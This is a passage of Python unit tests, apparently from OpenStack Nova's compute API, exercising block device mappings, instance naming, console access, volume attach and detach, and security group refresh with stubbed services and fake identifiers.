def test_disallow_metadata_changes_during_building(self): def fake_change_instance_metadata(inst, ctxt, diff, instance=None, instance_uuid=None): pass self.stubs.Set(compute_rpcapi.ComputeAPI, 'change_instance_metadata', fake_change_instance_metadata) instance = self._create_fake_instance({'vm_state': vm_states.BUILDING}) instance = dict(instance) self.assertRaises(exception.InstanceInvalidState, self.compute_api.delete_instance_metadata, self.context, instance, "key") self.assertRaises(exception.InstanceInvalidState, self.compute_api.update_instance_metadata, self.context, instance, "key") def test_get_instance_faults(self): # Get an instances latest fault. instance = self._create_fake_instance() fault_fixture = { 'code': 404, 'instance_uuid': instance['uuid'], 'message': "HTTPNotFound", 'details': "Stock details for test", 'created_at': datetime.datetime(2010, 10, 10, 12, 0, 0), } def return_fault(_ctxt, instance_uuids): return dict.fromkeys(instance_uuids, [fault_fixture]) self.stubs.Set(nova.db, 'instance_fault_get_by_instance_uuids', return_fault) _context = context.get_admin_context() output = self.compute_api.get_instance_faults(_context, [instance]) expected = {instance['uuid']: [fault_fixture]} self.assertEqual(output, expected) db.instance_destroy(_context, instance['uuid']) @staticmethod def _parse_db_block_device_mapping(bdm_ref): attr_list = ('delete_on_termination', 'device_name', 'no_device', 'virtual_name', 'volume_id', 'volume_size', 'snapshot_id') bdm = {} for attr in attr_list: val = bdm_ref.get(attr, None) if val: bdm[attr] = val return bdm def test_update_block_device_mapping(self): swap_size = 1 instance_type = {'swap': swap_size} instance = self._create_fake_instance() mappings = [ {'virtual': 'ami', 'device': 'sda1'}, {'virtual': 'root', 'device': '/dev/sda1'}, {'virtual': 'swap', 'device': 'sdb4'}, {'virtual': 'swap', 'device': 'sdb3'}, {'virtual': 'swap', 'device': 'sdb2'}, {'virtual': 'swap', 'device': 'sdb1'}, {'virtual': 'ephemeral0', 'device': 'sdc1'}, {'virtual': 'ephemeral1', 'device': 'sdc2'}, {'virtual': 'ephemeral2', 'device': 'sdc3'}] block_device_mapping = [ # root {'device_name': '/dev/sda1', 'snapshot_id': '00000000-aaaa-bbbb-cccc-000000000000', 'delete_on_termination': False}, # overwrite swap {'device_name': '/dev/sdb2', 'snapshot_id': '11111111-aaaa-bbbb-cccc-111111111111', 'delete_on_termination': False}, {'device_name': '/dev/sdb3', 'snapshot_id': '22222222-aaaa-bbbb-cccc-222222222222'}, {'device_name': '/dev/sdb4', 'no_device': True}, # overwrite ephemeral {'device_name': '/dev/sdc2', 'snapshot_id': '33333333-aaaa-bbbb-cccc-333333333333', 'delete_on_termination': False}, {'device_name': '/dev/sdc3', 'snapshot_id': '44444444-aaaa-bbbb-cccc-444444444444'}, {'device_name': '/dev/sdc4', 'no_device': True}, # volume {'device_name': '/dev/sdd1', 'snapshot_id': '55555555-aaaa-bbbb-cccc-555555555555', 'delete_on_termination': False}, {'device_name': '/dev/sdd2', 'snapshot_id': '66666666-aaaa-bbbb-cccc-666666666666'}, {'device_name': '/dev/sdd3', 'snapshot_id': '77777777-aaaa-bbbb-cccc-777777777777'}, {'device_name': '/dev/sdd4', 'no_device': True}] self.compute_api._update_image_block_device_mapping( self.context, instance_type, instance['uuid'], mappings) bdms = [self._parse_db_block_device_mapping(bdm_ref) for bdm_ref in block_device.legacy_mapping( db.block_device_mapping_get_all_by_instance( self.context, instance['uuid']))] expected_result = [ {'virtual_name': 'swap', 'device_name': '/dev/sdb1', 'volume_size': swap_size, 'delete_on_termination': True}, {'virtual_name': 'ephemeral0', 'device_name': '/dev/sdc1', 'delete_on_termination': True}, # NOTE(yamahata): ATM only ephemeral0 is supported. # they're ignored for now #{'virtual_name': 'ephemeral1', 'device_name': '/dev/sdc2'}, #{'virtual_name': 'ephemeral2', 'device_name': '/dev/sdc3'} ] bdms.sort() expected_result.sort() self.assertThat(bdms, matchers.DictListMatches(expected_result)) self.compute_api._update_block_device_mapping( self.context, flavors.get_default_flavor(), instance['uuid'], block_device_mapping) bdms = [self._parse_db_block_device_mapping(bdm_ref) for bdm_ref in block_device.legacy_mapping( db.block_device_mapping_get_all_by_instance( self.context, instance['uuid']))] expected_result = [ {'snapshot_id': '00000000-aaaa-bbbb-cccc-000000000000', 'device_name': '/dev/sda1'}, {'virtual_name': 'swap', 'device_name': '/dev/sdb1', 'volume_size': swap_size, 'delete_on_termination': True}, {'snapshot_id': '11111111-aaaa-bbbb-cccc-111111111111', 'device_name': '/dev/sdb2'}, {'snapshot_id': '22222222-aaaa-bbbb-cccc-222222222222', 'device_name': '/dev/sdb3'}, {'no_device': True, 'device_name': '/dev/sdb4'}, {'virtual_name': 'ephemeral0', 'device_name': '/dev/sdc1', 'delete_on_termination': True}, {'snapshot_id': '33333333-aaaa-bbbb-cccc-333333333333', 'device_name': '/dev/sdc2'}, {'snapshot_id': '44444444-aaaa-bbbb-cccc-444444444444', 'device_name': '/dev/sdc3'}, {'no_device': True, 'device_name': '/dev/sdc4'}, {'snapshot_id': '55555555-aaaa-bbbb-cccc-555555555555', 'device_name': '/dev/sdd1'}, {'snapshot_id': '66666666-aaaa-bbbb-cccc-666666666666', 'device_name': '/dev/sdd2'}, {'snapshot_id': '77777777-aaaa-bbbb-cccc-777777777777', 'device_name': '/dev/sdd3'}, {'no_device': True, 'device_name': '/dev/sdd4'}] bdms.sort() expected_result.sort() self.assertThat(bdms, matchers.DictListMatches(expected_result)) for bdm in db.block_device_mapping_get_all_by_instance( self.context, instance['uuid']): db.block_device_mapping_destroy(self.context, bdm['id']) instance = db.instance_get_by_uuid(self.context, instance['uuid']) self.compute.terminate_instance(self.context, instance) def test_populate_instance_for_bdm(self): # Test that the image bdm is created instance_type = {'swap': 1} instance = self._create_fake_instance( {'root_device_name': 'vda'} ) image = {'uuid': FAKE_IMAGE_REF} fake_bdms = [{'device_name': '/dev/vda', 'snapshot_id': '33333333-aaaa-bbbb-cccc-333333333333', 'delete_on_termination': False}] # Has an image but no bdms self.compute_api._populate_instance_for_bdm(self.context, instance, instance_type, image, []) bdms = db.block_device_mapping_get_all_by_instance( self.context, instance['uuid']) self.assertEqual(len(bdms), 1) self.assertEqual(bdms[0]['image_id'], FAKE_IMAGE_REF) for bdm in bdms: db.block_device_mapping_destroy(self.context, bdm['id']) # Has an image and is volume backed - legacy style self.compute_api._populate_instance_for_bdm(self.context, instance, instance_type, image, fake_bdms) bdms = db.block_device_mapping_get_all_by_instance( self.context, instance['uuid']) self.assertEqual(len(bdms), 1) self.assertEqual(bdms[0]['snapshot_id'], '33333333-aaaa-bbbb-cccc-333333333333') for bdm in bdms: db.block_device_mapping_destroy(self.context, bdm['id']) # Is volume backed and has no image instance['image_ref'] = '' self.compute_api._populate_instance_for_bdm(self.context, instance, instance_type, image, fake_bdms) bdms = db.block_device_mapping_get_all_by_instance( self.context, instance['uuid']) self.assertEqual(len(bdms), 1) self.assertEqual(bdms[0]['snapshot_id'], '33333333-aaaa-bbbb-cccc-333333333333') for bdm in bdms: db.block_device_mapping_destroy(self.context, bdm['id']) def test_volume_size(self): ephemeral_size = 2 swap_size = 3 inst_type = {'ephemeral_gb': ephemeral_size, 'swap': swap_size} self.assertEqual(self.compute_api._volume_size(inst_type, 'ephemeral0'), ephemeral_size) self.assertEqual(self.compute_api._volume_size(inst_type, 'ephemeral1'), 0) self.assertEqual(self.compute_api._volume_size(inst_type, 'swap'), swap_size) def test_is_volume_backed_instance(self): ctxt = self.context instance = self._create_fake_instance({'image_ref': None}) self.assertTrue( self.compute_api.is_volume_backed_instance(ctxt, instance, None)) instance = self._create_fake_instance({'root_device_name': 'vda'}) self.assertFalse( self.compute_api.is_volume_backed_instance(ctxt, instance, [])) bdms = [{'device_name': '/dev/vda', 'volume_id': None, 'snapshot_id': None}] self.assertFalse( self.compute_api.is_volume_backed_instance(ctxt, instance, bdms)) bdms = [{'device_name': '/dev/vda', 'volume_id': None, 'snapshot_id': None}, {'device_name': '/dev/vdb', 'volume_id': 'c2ec2156-d75e-11e2-985b-5254009297d6', 'snapshot_id': None}] self.assertFalse( self.compute_api.is_volume_backed_instance(ctxt, instance, bdms)) bdms = [{'device_name': '/dev/vda', 'volume_id': 'de8836ac-d75e-11e2-8271-5254009297d6', 'snapshot_id': None}, {'device_name': '/dev/vdb', 'volume_id': 'c2ec2156-d75e-11e2-985b-5254009297d6', 'snapshot_id': None}] self.assertTrue( self.compute_api.is_volume_backed_instance(ctxt, instance, bdms)) bdms = [{'device_name': '/dev/vda', 'volume_id': 'de8836ac-d75e-11e2-8271-5254009297d6', 'snapshot_id': 'f561c730-d75e-11e2-b505-5254009297d6'}, {'device_name': '/dev/vdb', 'volume_id': 'c2ec2156-d75e-11e2-985b-5254009297d6', 'snapshot_id': None}] self.assertTrue( self.compute_api.is_volume_backed_instance(ctxt, instance, bdms)) def test_reservation_id_one_instance(self): """Verify building an instance has a reservation_id that matches return value from create. """ (refs, resv_id) = self.compute_api.create(self.context, flavors.get_default_flavor(), None) try: self.assertEqual(len(refs), 1) self.assertEqual(refs[0]['reservation_id'], resv_id) finally: db.instance_destroy(self.context, refs[0]['uuid']) def test_reservation_ids_two_instances(self): """Verify building 2 instances at once results in a reservation_id being returned equal to reservation id set in both instances. """ (refs, resv_id) = self.compute_api.create(self.context, flavors.get_default_flavor(), None, min_count=2, max_count=2) try: self.assertEqual(len(refs), 2) self.assertNotEqual(resv_id, None) finally: for instance in refs: self.assertEqual(instance['reservation_id'], resv_id) db.instance_destroy(self.context, refs[0]['uuid']) def test_multi_instance_display_name_template(self): self.flags(multi_instance_display_name_template='%(name)s') (refs, resv_id) = self.compute_api.create(self.context, flavors.get_default_flavor(), None, min_count=2, max_count=2, display_name='x') self.assertEqual(refs[0]['display_name'], 'x') self.assertEqual(refs[0]['hostname'], 'x') self.assertEqual(refs[1]['display_name'], 'x') self.assertEqual(refs[1]['hostname'], 'x') self.flags(multi_instance_display_name_template='%(name)s-%(count)s') (refs, resv_id) = self.compute_api.create(self.context, flavors.get_default_flavor(), None, min_count=2, max_count=2, display_name='x') self.assertEqual(refs[0]['display_name'], 'x-1') self.assertEqual(refs[0]['hostname'], 'x-1') self.assertEqual(refs[1]['display_name'], 'x-2') self.assertEqual(refs[1]['hostname'], 'x-2') self.flags(multi_instance_display_name_template='%(name)s-%(uuid)s') (refs, resv_id) = self.compute_api.create(self.context, flavors.get_default_flavor(), None, min_count=2, max_count=2, display_name='x') self.assertEqual(refs[0]['display_name'], 'x-%s' % refs[0]['uuid']) self.assertEqual(refs[0]['hostname'], 'x-%s' % refs[0]['uuid']) self.assertEqual(refs[1]['display_name'], 'x-%s' % refs[1]['uuid']) self.assertEqual(refs[1]['hostname'], 'x-%s' % refs[1]['uuid']) def test_instance_architecture(self): # Test the instance architecture. i_ref = self._create_fake_instance() self.assertEqual(i_ref['architecture'], 'x86_64') db.instance_destroy(self.context, i_ref['uuid']) def test_instance_unknown_architecture(self): # Test if the architecture is unknown. instance = jsonutils.to_primitive(self._create_fake_instance( params={'architecture': ''})) try: self.compute.run_instance(self.context, instance=instance) instance = db.instance_get_by_uuid(self.context, instance['uuid']) self.assertNotEqual(instance['architecture'], 'Unknown') finally: db.instance_destroy(self.context, instance['uuid']) def test_instance_name_template(self): # Test the instance_name template. self.flags(instance_name_template='instance-%d') i_ref = self._create_fake_instance() self.assertEqual(i_ref['name'], 'instance-%d' % i_ref['id']) db.instance_destroy(self.context, i_ref['uuid']) self.flags(instance_name_template='instance-%(uuid)s') i_ref = self._create_fake_instance() self.assertEqual(i_ref['name'], 'instance-%s' % i_ref['uuid']) db.instance_destroy(self.context, i_ref['uuid']) self.flags(instance_name_template='%(id)d-%(uuid)s') i_ref = self._create_fake_instance() self.assertEqual(i_ref['name'], '%d-%s' % (i_ref['id'], i_ref['uuid'])) db.instance_destroy(self.context, i_ref['uuid']) # not allowed.. default is uuid self.flags(instance_name_template='%(name)s') i_ref = self._create_fake_instance() self.assertEqual(i_ref['name'], i_ref['uuid']) db.instance_destroy(self.context, i_ref['uuid']) def test_add_remove_fixed_ip(self): instance = self._create_fake_instance(params={'host': CONF.host}) self.compute_api.add_fixed_ip(self.context, instance, '1') self.compute_api.remove_fixed_ip(self.context, instance, '192.168.1.1') self.compute_api.delete(self.context, self._objectify(instance)) def test_attach_volume_invalid(self): self.assertRaises(exception.InvalidDevicePath, self.compute_api.attach_volume, self.context, {'locked': False, 'vm_state': vm_states.ACTIVE, 'launched_at': timeutils.utcnow()}, None, '/invalid') def test_no_attach_volume_in_rescue_state(self): def fake(*args, **kwargs): pass def fake_volume_get(self, context, volume_id): return {'id': volume_id} self.stubs.Set(cinder.API, 'get', fake_volume_get) self.stubs.Set(cinder.API, 'check_attach', fake) self.stubs.Set(cinder.API, 'reserve_volume', fake) self.assertRaises(exception.InstanceInvalidState, self.compute_api.attach_volume, self.context, {'uuid': 'fake_uuid', 'locked': False, 'vm_state': vm_states.RESCUED}, None, '/dev/vdb') def test_no_detach_volume_in_rescue_state(self): # Ensure volume can be detached from instance params = {'vm_state': vm_states.RESCUED} instance = self._create_fake_instance(params=params) volume = {'id': 1, 'attach_status': 'in-use', 'instance_uuid': instance['uuid']} self.assertRaises(exception.InstanceInvalidState, self.compute_api.detach_volume, self.context, instance, volume) def test_no_rescue_in_volume_state_attaching(self): # Make sure a VM cannot be rescued while volume is being attached instance = self._create_fake_instance() def fake_get_instance_bdms(*args, **kwargs): return [{'device_name': '/dev/vda', 'source_type': 'volume', 'destination_type': 'volume', 'volume_id': 'bf0b6b00-a20c-11e2-9e96-0800200c9a66'}] self.stubs.Set(self.compute_api, 'get_instance_bdms', fake_get_instance_bdms) def fake_volume_get(self, context, volume_id): return {'id': volume_id, 'status': 'attaching'} self.stubs.Set(cinder.API, 'get', fake_volume_get) volume = {'id': 'bf0b6b00-a20c-11e2-9e96-0800200c9a66', 'state': 'active', 'instance_uuid': instance['uuid']} self.assertRaises(exception.InvalidVolume, self.compute_api.rescue, self.context, instance) def test_vnc_console(self): # Make sure we can a vnc console for an instance. fake_instance = {'uuid': 'fake_uuid', 'host': 'fake_compute_host'} fake_console_type = "novnc" fake_connect_info = {'token': 'fake_token', 'console_type': fake_console_type, 'host': 'fake_console_host', 'port': 'fake_console_port', 'internal_access_path': 'fake_access_path', 'instance_uuid': fake_instance['uuid']} fake_connect_info2 = copy.deepcopy(fake_connect_info) fake_connect_info2['access_url'] = 'fake_console_url' self.mox.StubOutWithMock(rpc, 'call') rpc_msg1 = {'method': 'get_vnc_console', 'namespace': None, 'args': {'instance': fake_instance, 'console_type': fake_console_type}, 'version': compute_rpcapi.ComputeAPI.BASE_RPC_API_VERSION} rpc_msg2 = {'method': 'authorize_console', 'namespace': None, 'args': fake_connect_info, 'version': '1.2'} rpc.call(self.context, 'compute.%s' % fake_instance['host'], rpc_msg1, None).AndReturn(fake_connect_info2) rpc.call(self.context, CONF.consoleauth_topic, rpc_msg2, None).AndReturn(None) self.mox.ReplayAll() console = self.compute_api.get_vnc_console(self.context, fake_instance, fake_console_type) self.assertEqual(console, {'url': 'fake_console_url'}) def test_get_vnc_console_no_host(self): instance = self._create_fake_instance(params={'host': ''}) self.assertRaises(exception.InstanceNotReady, self.compute_api.get_vnc_console, self.context, instance, 'novnc') db.instance_destroy(self.context, instance['uuid']) def test_spice_console(self): # Make sure we can a spice console for an instance. fake_instance = {'uuid': 'fake_uuid', 'host': 'fake_compute_host'} fake_console_type = "spice-html5" fake_connect_info = {'token': 'fake_token', 'console_type': fake_console_type, 'host': 'fake_console_host', 'port': 'fake_console_port', 'internal_access_path': 'fake_access_path', 'instance_uuid': fake_instance['uuid']} fake_connect_info2 = copy.deepcopy(fake_connect_info) fake_connect_info2['access_url'] = 'fake_console_url' self.mox.StubOutWithMock(rpc, 'call') rpc_msg1 = {'method': 'get_spice_console', 'namespace': None, 'args': {'instance': fake_instance, 'console_type': fake_console_type}, 'version': '2.24'} rpc_msg2 = {'method': 'authorize_console', 'namespace': None, 'args': fake_connect_info, 'version': '1.2'} rpc.call(self.context, 'compute.%s' % fake_instance['host'], rpc_msg1, None).AndReturn(fake_connect_info2) rpc.call(self.context, CONF.consoleauth_topic, rpc_msg2, None).AndReturn(None) self.mox.ReplayAll() console = self.compute_api.get_spice_console(self.context, fake_instance, fake_console_type) self.assertEqual(console, {'url': 'fake_console_url'}) def test_get_spice_console_no_host(self): instance = self._create_fake_instance(params={'host': ''}) self.assertRaises(exception.InstanceNotReady, self.compute_api.get_spice_console, self.context, instance, 'spice') db.instance_destroy(self.context, instance['uuid']) def test_console_output(self): fake_instance = {'uuid': 'fake_uuid', 'host': 'fake_compute_host'} fake_tail_length = 699 fake_console_output = 'fake console output' self.mox.StubOutWithMock(rpc, 'call') rpc_msg = {'method': 'get_console_output', 'namespace': None, 'args': {'instance': fake_instance, 'tail_length': fake_tail_length}, 'version': compute_rpcapi.ComputeAPI.BASE_RPC_API_VERSION} rpc.call(self.context, 'compute.%s' % fake_instance['host'], rpc_msg, None).AndReturn(fake_console_output) self.mox.ReplayAll() output = self.compute_api.get_console_output(self.context, fake_instance, tail_length=fake_tail_length) self.assertEqual(output, fake_console_output) def test_console_output_no_host(self): instance = self._create_fake_instance(params={'host': ''}) self.assertRaises(exception.InstanceNotReady, self.compute_api.get_console_output, self.context, instance) db.instance_destroy(self.context, instance['uuid']) def test_attach_interface(self): instance = { 'image_ref': 'foo', } self.mox.StubOutWithMock(compute_manager, '_get_image_meta') self.mox.StubOutWithMock(self.compute.network_api, 'allocate_port_for_instance') nwinfo = network_model.NetworkInfo() nwinfo.append(fake_network_cache_model.new_vif()) network_id = nwinfo[0]['network']['id'] port_id = nwinfo[0]['id'] req_ip = '1.2.3.4' self.compute.network_api.allocate_port_for_instance( self.context, instance, port_id, network_id, req_ip, conductor_api=self.compute.conductor_api).AndReturn(nwinfo) compute_manager._get_image_meta(self.context, instance['image_ref']) self.mox.ReplayAll() network, mapping = self.compute.attach_interface(self.context, instance, network_id, port_id, req_ip) self.assertEqual(network['id'], network_id) return nwinfo, port_id def test_detach_interface(self): nwinfo, port_id = self.test_attach_interface() self.stubs.Set(self.compute, '_get_instance_nw_info', lambda *a, **k: nwinfo) self.stubs.Set(self.compute.network_api, 'deallocate_port_for_instance', lambda a, b, c, conductor_api=None: []) self.compute.detach_interface(self.context, {}, port_id) self.assertEqual(self.compute.driver._interfaces, {}) def test_attach_volume(self): # Ensure instance can be soft rebooted. called = {} def fake_check_attach(*args, **kwargs): called['fake_check_attach'] = True def fake_reserve_volume(*args, **kwargs): called['fake_reserve_volume'] = True def fake_volume_get(self, context, volume_id): called['fake_volume_get'] = True return {'id': volume_id} def fake_rpc_attach_volume(self, context, **kwargs): called['fake_rpc_attach_volume'] = True self.stubs.Set(cinder.API, 'get', fake_volume_get) self.stubs.Set(cinder.API, 'check_attach', fake_check_attach) self.stubs.Set(cinder.API, 'reserve_volume', fake_reserve_volume) self.stubs.Set(compute_rpcapi.ComputeAPI, 'attach_volume', fake_rpc_attach_volume) instance = self._create_fake_instance() self.compute_api.attach_volume(self.context, instance, 1, '/dev/vdb') self.assertTrue(called.get('fake_check_attach')) self.assertTrue(called.get('fake_reserve_volume')) self.assertTrue(called.get('fake_reserve_volume')) self.assertTrue(called.get('fake_rpc_attach_volume')) def test_attach_volume_no_device(self): called = {} def fake_check_attach(*args, **kwargs): called['fake_check_attach'] = True def fake_reserve_volume(*args, **kwargs): called['fake_reserve_volume'] = True def fake_volume_get(self, context, volume_id): called['fake_volume_get'] = True return {'id': volume_id} def fake_rpc_attach_volume(self, context, **kwargs): called['fake_rpc_attach_volume'] = True self.stubs.Set(cinder.API, 'get', fake_volume_get) self.stubs.Set(cinder.API, 'check_attach', fake_check_attach) self.stubs.Set(cinder.API, 'reserve_volume', fake_reserve_volume) self.stubs.Set(compute_rpcapi.ComputeAPI, 'attach_volume', fake_rpc_attach_volume) def test_detach_volume(self): # Ensure volume can be detached from instance called = {} instance = self._create_fake_instance() volume = {'id': 1, 'attach_status': 'in-use', 'instance_uuid': instance['uuid']} def fake_check_detach(*args, **kwargs): called['fake_check_detach'] = True def fake_begin_detaching(*args, **kwargs): called['fake_begin_detaching'] = True def fake_rpc_detach_volume(self, context, **kwargs): called['fake_rpc_detach_volume'] = True self.stubs.Set(cinder.API, 'check_detach', fake_check_detach) self.stubs.Set(cinder.API, 'begin_detaching', fake_begin_detaching) self.stubs.Set(compute_rpcapi.ComputeAPI, 'detach_volume', fake_rpc_detach_volume) self.compute_api.detach_volume(self.context, instance, volume) self.assertTrue(called.get('fake_check_detach')) self.assertTrue(called.get('fake_begin_detaching')) self.assertTrue(called.get('fake_rpc_detach_volume')) def test_detach_invalid_volume(self): # Ensure exception is raised while detaching an un-attached volume instance = {'uuid': 'uuid1', 'locked': False, 'launched_at': timeutils.utcnow(), 'vm_state': vm_states.ACTIVE} volume = {'id': 1, 'attach_status': 'detached'} self.assertRaises(exception.InvalidVolume, self.compute_api.detach_volume, self.context, instance, volume) def test_detach_unattached_volume(self): # Ensure exception is raised when volume's idea of attached # instance doesn't match. instance = {'uuid': 'uuid1', 'locked': False, 'launched_at': timeutils.utcnow(), 'vm_state': vm_states.ACTIVE} volume = {'id': 1, 'attach_status': 'in-use', 'instance_uuid': 'uuid2'} self.assertRaises(exception.VolumeUnattached, self.compute_api.detach_volume, self.context, instance, volume) def test_detach_volume_libvirt_is_down(self): # Ensure rollback during detach if libvirt goes down called = {} instance = self._create_fake_instance() def fake_get_instance_volume_bdm(*args, **kwargs): return {'device_name': '/dev/vdb', 'volume_id': 1, 'connection_info': '{"test": "test"}'} def fake_libvirt_driver_instance_exists(*args, **kwargs): called['fake_libvirt_driver_instance_exists'] = True return False def fake_libvirt_driver_detach_volume_fails(*args, **kwargs): called['fake_libvirt_driver_detach_volume_fails'] = True raise AttributeError() def fake_roll_detaching(*args, **kwargs): called['fake_roll_detaching'] = True self.stubs.Set(cinder.API, 'roll_detaching', fake_roll_detaching) self.stubs.Set(self.compute, "_get_instance_volume_bdm", fake_get_instance_volume_bdm) self.stubs.Set(self.compute.driver, "instance_exists", fake_libvirt_driver_instance_exists) self.stubs.Set(self.compute.driver, "detach_volume", fake_libvirt_driver_detach_volume_fails) self.assertRaises(AttributeError, self.compute.detach_volume, self.context, 1, instance) self.assertTrue(called.get('fake_libvirt_driver_instance_exists')) self.assertTrue(called.get('fake_roll_detaching')) def test_terminate_with_volumes(self): # Make sure that volumes get detached during instance termination. admin = context.get_admin_context() instance = self._create_fake_instance() volume_id = 'fake' values = {'instance_uuid': instance['uuid'], 'device_name': '/dev/vdc', 'delete_on_termination': False, 'volume_id': volume_id, } db.block_device_mapping_create(admin, values) def fake_volume_get(self, context, volume_id): return {'id': volume_id} self.stubs.Set(cinder.API, "get", fake_volume_get) # Stub out and record whether it gets detached result = {"detached": False} def fake_detach(self, context, volume_id_param): result["detached"] = volume_id_param == volume_id self.stubs.Set(cinder.API, "detach", fake_detach) def fake_terminate_connection(self, context, volume_id, connector): return {} self.stubs.Set(cinder.API, "terminate_connection", fake_terminate_connection) # Kill the instance and check that it was detached self.compute.terminate_instance(admin, instance=instance) self.assertTrue(result["detached"]) def test_terminate_deletes_all_bdms(self): admin = context.get_admin_context() instance = self._create_fake_instance() img_bdm = {'instance_uuid': instance['uuid'], 'device_name': '/dev/vda', 'source_type': 'image', 'destination_type': 'local', 'delete_on_termination': False, 'boot_index': 0, 'image_id': 'fake_image'} vol_bdm = {'instance_uuid': instance['uuid'], 'device_name': '/dev/vdc', 'source_type': 'volume', 'destination_type': 'volume', 'delete_on_termination': False, 'volume_id': 'fake_vol'} for bdm in img_bdm, vol_bdm: db.block_device_mapping_create(admin, bdm, legacy=False) self.stubs.Set(self.compute, 'volume_api', mox.MockAnything()) self.stubs.Set(self.compute, '_prep_block_device', mox.MockAnything()) self.compute.run_instance(self.context, instance=instance) self.compute.terminate_instance(self.context, instance=instance) bdms = db.block_device_mapping_get_all_by_instance(admin, instance['uuid']) self.assertEquals(len(bdms), 0) def test_inject_network_info(self): instance = self._create_fake_instance(params={'host': CONF.host}) self.compute.run_instance(self.context, instance=jsonutils.to_primitive(instance)) instance = self.compute_api.get(self.context, instance['uuid'], want_objects=True) self.compute_api.inject_network_info(self.context, instance) self.compute_api.delete(self.context, instance) def test_reset_network(self): instance = self._create_fake_instance() self.compute.run_instance(self.context, instance=jsonutils.to_primitive(instance)) instance = self.compute_api.get(self.context, instance['uuid']) self.compute_api.reset_network(self.context, instance) def test_lock(self): instance = self._create_fake_instance() self.compute_api.lock(self.context, instance) self.compute_api.delete(self.context, self._objectify(instance)) def test_unlock(self): instance = self._create_fake_instance() self.compute_api.unlock(self.context, instance) self.compute_api.delete(self.context, self._objectify(instance)) def test_get_lock(self): instance = self._create_fake_instance() self.assertFalse(self.compute_api.get_lock(self.context, instance)) db.instance_update(self.context, instance['uuid'], {'locked': True}) self.assertTrue(self.compute_api.get_lock(self.context, instance)) def test_add_remove_security_group(self): instance = self._create_fake_instance() self.compute.run_instance(self.context, instance=jsonutils.to_primitive(instance)) instance = self.compute_api.get(self.context, instance['uuid']) security_group_name = self._create_group()['name'] self.security_group_api.add_to_instance(self.context, instance, security_group_name) self.security_group_api.remove_from_instance(self.context, instance, security_group_name) def test_get_diagnostics(self): instance = self._create_fake_instance() self.compute_api.get_diagnostics(self.context, instance) self.compute_api.delete(self.context, self._objectify(instance)) def test_inject_file(self): # Ensure we can write a file to an instance. instance = self._create_fake_instance() self.compute_api.inject_file(self.context, instance, "/tmp/test", "File Contents") db.instance_destroy(self.context, instance['uuid']) def test_secgroup_refresh(self): instance = self._create_fake_instance() def rule_get(*args, **kwargs): mock_rule = db_fakes.FakeModel({'parent_group_id': 1}) return [mock_rule] def group_get(*args, **kwargs): mock_group = db_fakes.FakeModel({'instances': [instance]}) return mock_group self.stubs.Set( self.compute_api.db, 'security_group_rule_get_by_security_group_grantee', rule_get) self.stubs.Set(self.compute_api.db, 'security_group_get', group_get) self.mox.StubOutWithMock(rpc, 'cast') topic = rpc.queue_get_for(self.context, CONF.compute_topic, instance['host']) rpc.cast(self.context, topic, {"method": "refresh_instance_security_rules", "namespace": None, "args": {'instance': jsonutils.to_primitive(instance)}, "version": compute_rpcapi.SecurityGroupAPI.BASE_RPC_API_VERSION}) self.mox.ReplayAll() self.security_group_api.trigger_members_refresh(self.context, [1]) def test_secgroup_refresh_once(self): instance = self._create_fake_instance() def rule_get(*args, **kwargs): mock_rule = db_fakes.FakeModel({'parent_group_id': 1}) return [mock_rule] def group_get(*args, **kwargs): mock_group = db_fakes.FakeModel({'instances': [instance]}) return mock_group self.stubs.Set( self.compute_api.db, 'security_group_rule_get_by_security_group_grantee', rule_get) self.stubs.Set(self.compute_api.db, 'security_group_get', group_get) self.mox.StubOutWithMock(rpc, 'cast') topic = rpc.queue_get_for(self.context, CONF.compute_topic, instance['host']) rpc.cast(self.context, topic, {"method": "refresh_instance_security_rules", "namespace": None, "args": {'instance': jsonutils.to_primitive(instance)}, "version": compute_rpcapi.SecurityGroupAPI.BASE_RPC_API_VERSION}) self.mox.ReplayAll() self.security_group_api.trigger_members_refresh(self.context, [1, 2]) def test_secgroup_refresh_none(self): def rule_get(*args, **kwargs): mock_rule = db_fakes.FakeModel({'parent_group_id': 1}) return [mock_rule] def group_get(*args, **kwargs): mock_group = db_fakes.FakeModel({'instances': []}) return mock_group self.stubs.Set( self.compute_api.db, 'security_group_rule_get_by_security_group_grantee', rule_get) self.stubs.Set(self.compute_api.db, 'security_group_get', group_get) self.mox.StubOutWithMock(rpc, 'cast') self.mox.ReplayAll() self.security_group_api.trigger_members_refresh(self.context, [1]) def test_secrule_refresh(self): instance = self._create_fake_instance() def group_get(*args, **kwargs): mock_group = db_fakes.FakeModel({'instances': [instance]}) return mock_group self.stubs.Set(self.compute_api.db, 'security_group_get', group_get) self.mox.StubOutWithMock(rpc, 'cast') topic = rpc.queue_get_for(self.context, CONF.compute_topic, instance['host']) rpc.cast(self.context, topic, {"method": "refresh_instance_security_rules", "namespace": None, "args": {'instance': jsonutils.to_primitive(instance)}, "version": compute_rpcapi.SecurityGroupAPI.BASE_RPC_API_VERSION}) self.mox.ReplayAll() self.security_group_api.trigger_rules_refresh(self.context, [1]) def test_secrule_refresh_once(self): instance = self._create_fake_instance() def group_get(*args, **kwargs): mock_group = db_fakes.FakeModel({'instances': [instance]}) return mock_group self.stubs.Set(self.compute_api.db, 'security_group_get', group_get) self.mox.StubOutWithMock(rpc, 'cast') topic = rpc.queue_get_for(self.context, CONF.compute_topic, instance['host']) rpc.cast(self.context, topic, {"method": "refresh_instance_security_rules", "namespace": None, "args": {'instance': jsonutils.to_primitive(instance)}, "version": compute_rpcapi.SecurityGroupAPI.BASE_RPC_API_VERSION}) self.mox.ReplayAll() self.security_group_api.trigger_rules_refresh(self.context, [1, 2]) def test_secrule_refresh_none(self): def group_get(*args, **kwargs): mock_group = db_fakes.FakeModel({'instances': []}) return mock_group self.stubs.Set(self.compute_api.db, 'security_group_get', group_get) self.mox.StubOutWithMock(rpc, 'cast') self.mox.ReplayAll() self.security_group_api.trigger_rules_refresh(self.context, [1, 2]) def test_live_migrate(self): instance, instance_uuid = self._run_instance() self.compute_api.live_migrate(self.context, instance, block_migration=True, disk_over_commit=True, host_name='fake_dest_host') instance = db.instance_get_by_uuid(self.context, instance_uuid) self.assertEqual(instance['task_state'], task_states.MIGRATING) db.instance_destroy(self.context, instance['uuid']) def test_evacuate(self): instance = jsonutils.to_primitive(self._create_fake_instance( services=True)) instance_uuid = instance['uuid'] instance = db.instance_get_by_uuid(self.context, instance_uuid) self.assertEqual(instance['task_state'], None) def fake_service_is_up(*args, **kwargs): return False def fake_rebuild_instance(*args, **kwargs): db.instance_update(self.context, instance_uuid, {'host': kwargs['host']}) self.stubs.Set(self.compute_api.servicegroup_api, 'service_is_up', 